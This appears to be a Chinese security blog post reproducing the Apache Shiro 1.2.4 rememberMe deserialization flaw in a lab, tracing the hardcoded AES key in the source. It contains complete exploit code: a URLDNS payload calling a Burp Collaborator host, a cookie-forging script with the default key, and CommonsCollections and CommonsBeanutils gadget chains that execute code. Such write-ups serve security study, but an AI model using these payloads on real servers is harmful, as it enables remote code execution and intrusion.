apsry

去留无意,宠辱不惊

0%

shiro反序列化

shiro反序列化

初时shiro(已填坑)

环境

直接从github上clone代码到本地。

1
2
3
git clone https://github.com/apache/shiro.git
cd shiro
git checkout shiro-root-1.2.4

https://github.com/apache/shiro/releases/tag/shiro-root-1.2.4

直接下载也可

编辑shiro/samples/web目录下的pom.xml,将jstl的版本修改为1.2。

1
2
3
4
5
6
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>jstl</artifactId>
<version>1.2</version>
<scope>runtime</scope>
</dependency>
1
2
3
4
5
所需环境
编辑器: IDEA 2020(用的pj版本,会用到一个Tomcat Server)
java版本:jdk1.7.0_80
Server版本 : Tomcat 8.5.75(直接下载core下面的zip)
shiro版本:shiro-root-1.2.4

搭建
在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

插件下载

image-20220313213513042

复现

我们抓包

可以看到会有一个cookie,rememberMe

image-20220313205352782

我们摁两下shift查找跟cookie有关的

image-20220313205606982

这里显然是有一个序列化

image-20220313205859109

首先是一个base64的加密

image-20220313210046946

我们继续找调用了getRememberedSerializedIdentity的地方

image-20220313210300328

AbstractRememberMeManager

image-20220313210244506

发现调用了加密后,又调用了convertBytesToPrincipals

image-20220313210506247

跟进去,发现做了解密decrypt和反序列化deserialize

image-20220313210603595

反序列化跟下去,就调了一个原生的反序列化

image-20220313211056074

image-20220313211117758

我们再看解密的点,先获取了一个key,再解密

image-20220313211420072

用key去解密

image-20220313211618268

image-20220313211640793

所以这个时候我们思考key是什么,有key就能解密。

image-20220313211906573

然后跟进去看key,发现是一个常量

image-20220313211955243

image-20220313212005809

直接找赋值点

image-20220313212241285

可以看到赋值点

image-20220313212401238

再跟进setDecryptionCipherKey

image-20220313212514038

再跟到setCipherKey

image-20220313212610567

AbstractRememberMeManager

image-20220313212652520

跟进DEFAULT_CIPHER_KEY_BYTES

最后得到key的初始值

image-20220313212737907

思路

· 获取Cookie中rememberMe的值
· 对rememberMe进行Base64解码
· 使用AES进行解密
· 对解密的值进行反序列化

由于AES加密的Key是硬编码的默认Key,因此攻击者可通过使用默认的Key对恶意构造的序列化数据进行加密,当CookieRememberMeManager对恶意的rememberMe进行以上过程处理时,最终会对恶意数据进行反序列化,从而导致反序列化漏洞。

一般是CC链,而且shiro也含有CC,但是含的CC是test,一般不会去加载

image-20220313213742663

urldns

我们可以直接用dns的payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
package com.company;

import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class SerializationTest {
public static void serialize(Object obj) throws IOException{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
/*
写对象,序列化
*/
}
public static void main(String[] args) throws Exception{
Person person = new Person("aa",22);
HashMap<URL,Integer> hashmap = new HashMap<URL,Integer>();
//hashmap.put(new URL("http://kj7cgaecm74q1ub7cy3ooq4pogu6iv.burpcollaborator.net"),1);
URL url = new URL("http://wee3kgam07c4f2vo9dar2nab62cs0h.burpcollaborator.net");
Class c = url.getClass();
Field HashcodeField = c.getDeclaredField("hashCode");
HashcodeField.setAccessible(true);
HashcodeField.set(url,1234);
hashmap.put(url,1);
//传一个url进去就可以了
//serialize(person);
//不发起请求,而且hashCode改为-1,反序列化的时候就可以解析dns
//把hashCode改为-1
HashcodeField.set(url,-1);
serialize(hashmap);
System.out.println(person);


}

}

生成的ser.bin再加密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from ast import Lambda
import base64
from email.mime import base
from random import Random
import uuid
from Crypto.Cipher import AES

def get_file_data(filename):
with open(filename,'rb') as f:
data=f.read()
print(data)
return data

def shiro_enc(data):
BS = AES.block_size
pad = lambda s: s + (BS - len(s) % BS) * chr(BS - len(s) % BS).encode()
#pad = lambda s: s + ((BS - len(s) % BS)*chr(BS -len(s) % BS)).encode()
key="kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key),mode,iv)
ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(data)))
return ciphertext

if __name__ == '__main__':
data = get_file_data("ser.bin")
print(shiro_enc(data))

替换cookie,记得把sessionID给删了,看代码逻辑如果不删是不会去解密的。可以看到收到了dns请求

image-20220313222441162

代码执行

shiro能打的只有CC4的第二条链子

这边分析一下用shiro自身的链子去打exp

CommonsCollections示例

这里用CC3做演示

环境

image-20220402222224393

复现

我们这边直接用CC3第6条链子来打

这边直接生成bin文件,然后加密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from ast import Lambda
import base64
from email.mime import base
from random import Random
import uuid
from Crypto.Cipher import AES

def get_file_data(filename):
with open(filename,'rb') as f:
data=f.read()
print(data)
return data

def shiro_enc(data):
BS = AES.block_size
pad = lambda s: s + (BS - len(s) % BS) * chr(BS - len(s) % BS).encode()
#pad = lambda s: s + ((BS - len(s) % BS)*chr(BS -len(s) % BS)).encode()
key="kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key),mode,iv)
ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(data)))
return ciphertext

if __name__ == '__main__':
data = get_file_data("ser.bin")
print(shiro_enc(data))
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
import javafx.beans.binding.ObjectExpression;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;


import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;

public class CC6Test {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})

};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object ,Object> map = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map,new ConstantTransformer(1));

TiedMapEntry tiedMapEntry= new TiedMapEntry(lazyMap,"aaa");
HashMap<Object,Object> map2 = new HashMap<>();
map2.put(tiedMapEntry,"bbb");
lazyMap.remove("aaa");
Class c = LazyMap.class;
Field factoryField =c.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap,chainedTransformer);
serialize(map2);

//unserialize("ser.bin");



}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
/*
写对象,序列化
*/
}

public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
/*
读对象,反序列化
*/
return obj;
}
}

发现报错,打不了

image-20220403094142471

shiro内置的,导致CC链打不了,shiro自己重写了。

image-20220403092651898

tomcat不能加载数组类,调了tomcat的findclass

image-20220402235203760

所以需要改一下代码,拼接下,目的是不调用数组类

我们直接用TemplatesImpl然后去重新写一条链子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.functors.InvokerTransformer;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class ShiroCC {
public static void main(String[] args) throws Exception {
//cc3
TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"aaa");
Field bytecodeField = tc.getDeclaredField("_bytecodes");
bytecodeField.setAccessible(true);

byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\17140\\Desktop\\暑假实习\\java代码审计\\Cc1_test\\target\\classes\\Test.class"));
byte [][] codes= {code};
bytecodeField.set(templates,codes);
//cc2
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", null, null);
//cc6
HashMap<Object ,Object> map = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map,new ConstantTransformer(1));

TiedMapEntry tiedMapEntry= new TiedMapEntry(lazyMap,templates);

HashMap<Object,Object> map2 = new HashMap<>();
map2.put(tiedMapEntry,"bbb");
lazyMap.remove(templates);

Class c = LazyMap.class;
Field factoryField =c.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap,invokerTransformer);
serialize(map2);

//unserialize("ser.bin");

}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
/*
写对象,序列化
*/
}

public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
/*
读对象,反序列化
*/
return obj;
}
}

具体调用的链子可以看代码,生成ser.bin

再把它加密,可以看到命令已经执行

image-20220403105708324

CommonsBeanutils

环境

复现

1.8.3

​ CommonsBeanutils中提供了一个静态方法 PropertyUtils.getProperty ,让使用者可以直接调用任意 JavaBean 的getter方法,JavaBean 即指符合特定规范的 Java 类

  • 若干private实例字段

  • 通过public方法来读写实例字段

PropertyUtils.getProperty() 传入两个参数,第一个参数为 JavaBean 实例,第二个是 JavaBean 的属性

下面简单的展示一个例子,首先写一个符合规范的 Calc 类,然后编写一个 Demo 类使其自动调用 Calc 的 getter 方法,如下会自动调用 name 属性的 getter 函数,最终调用 getName()

1
PropertyUtils.getProperty(new Calc(),"name");

Calc:

1
2
3
4
5
6
7
8
9
10
11
12
13
import java.io.IOException;

public class Calc {
private String name = "Hello,World";
public String getName() throws IOException {
System.out.println("getter...");
return this.name;
}
public void setName(String name){
System.out.println("setter...");
this.name = name;
}
}

Demo:

1
2
3
4
5
6
7
import org.apache.commons.beanutils.PropertyUtils;

public class Demo {
public static void main(String[] args) throws Exception {
PropertyUtils.getProperty(new Calc(),"name");
}
}

效果如下:

自动调用了 Calc 的 getter 函数

img

shiro里面只有CC链2能打,第二条链子需要CC4版本,我们这边可以利用CB链来打。

image-20220403111035611

关于javabean的一些知识

https://www.liaoxuefeng.com/wiki/1252599548343744/1260474416351680

Person.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public class Person {
private String name;
private int age;

public Person(String name, int age){
this.age = age;
this.name = name;
}

public String getName() { return name; }
public void setName(String name) { this.name = name; }

public int getAge() { return age; }
public void setAge(int age) { this.age = age; }
}

BeanTest.java

1
2
3
4
5
6
7
8
9
import org.apache.commons.beanutils.PropertyUtils;

public class BeanTest {
public static void main(String[] args) throws Exception{
Person person = new Person("aaa",18);
System.out.println(PropertyUtils.getProperty(person,"age"));

}
}

CB给了一个动态调用对象的值,原理同上

image-20220403145935103

image-20220403145956451

我们调试下看看是怎么实现的。

image-20220403150151341

image-20220403150408231

调了PropertyUtilsBean.getInstance().getProperty

image-20220403150437488

到了getNestedProperty

image-20220403150541898

一路跟下去

image-20220403150758208

getSimpleProperty

image-20220403150838780

我们直接到

image-20220403150942332

image-20220403151156032

做了一个反射调用

image-20220403151224689

所以是做了一个反射调用来进行修改值

image-20220403151312897

JAVAbean的属性值要小写,后面会自动转为大写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.PropertyUtils;

import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class BeanTest {
public static void main(String[] args) throws Exception{
Person person = new Person("aaa",18);
// System.out.println(PropertyUtils.getProperty(person,"name"));
TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"aaa");
Field bytecodeField = tc.getDeclaredField("_bytecodes");
bytecodeField.setAccessible(true);

byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\17140\\Desktop\\暑假实习\\java代码审计\\Cc1_test\\target\\classes\\Test.class"));
byte codes[][]= {code};
bytecodeField.set(templates,codes);

Field tfactoryField = tc.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates,new TransformerFactoryImpl());
//templates.newTransformer();
PropertyUtils.getProperty(templates,"outputProperties");

}
}

image-20220403151640505

可以看到代码执行了,所以思路就是找getProperty

我们看到compareproperty可控,且调用了getProperty

image-20220403151930918

然后想到优先队列的compare,所以可以直接到BeanComparator.compare

基本上就是一个这样的思路

image-20220403152317305

这边直接用CC2的思路去改一下就可以了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.beanutils.PropertyUtils;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class ShiroCB {
public static void main(String[] args) throws Exception{
//cc3
TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"aaa");
Field bytecodeField = tc.getDeclaredField("_bytecodes");
bytecodeField.setAccessible(true);

byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\17140\\Desktop\\暑假实习\\java代码审计\\Cc1_test\\target\\classes\\Test.class"));
byte codes[][]= {code};
bytecodeField.set(templates,codes);
//CB
BeanComparator beanComparator = new BeanComparator("outputProperties",null);
//cc2
TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));
PriorityQueue priorityQueue= new PriorityQueue<>(transformingComparator);
priorityQueue.add(templates);
priorityQueue.add(2);
//AbstractMapDecorator

Class<PriorityQueue> c = PriorityQueue.class;
Field comparatorField = c.getDeclaredField("comparator");
comparatorField.setAccessible(true);
comparatorField.set(priorityQueue,beanComparator);

serialize(priorityQueue);
//unserialize("ser.bin");
//Hashtable
//PropertyUtils.getProperty(templates,"outputProperties");

}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
/*
写对象,序列化
*/
}

public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
/*
读对象,反序列化
*/
return obj;
}

}

直接加密生成下

可以看到是成功了的

image-20220403154755741

ysoserial的CB链

image-20220403154914046

他里面代码的依赖是

commons-beanutils:commons-beanutils:1.9.2

而shiro里面的版本是1.8.3,所以我们需要改依赖才能打,否则会报错

参考:https://www.yuque.com/tianxiadamutou/zcfd4v/op3c7v#823652d0

https://xiashang.xyz/2020/09/03/Shiro%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E7%AC%94%E8%AE%B0%E4%B8%80%EF%BC%88%E5%8E%9F%E7%90%86%E7%AF%87%EF%BC%89/#%E8%A7%A3%E5%AF%86%E8%BF%87%E7%A8%8B

https://www.bilibili.com/video/BV1iF411b7bD/?spm_id_from=333.788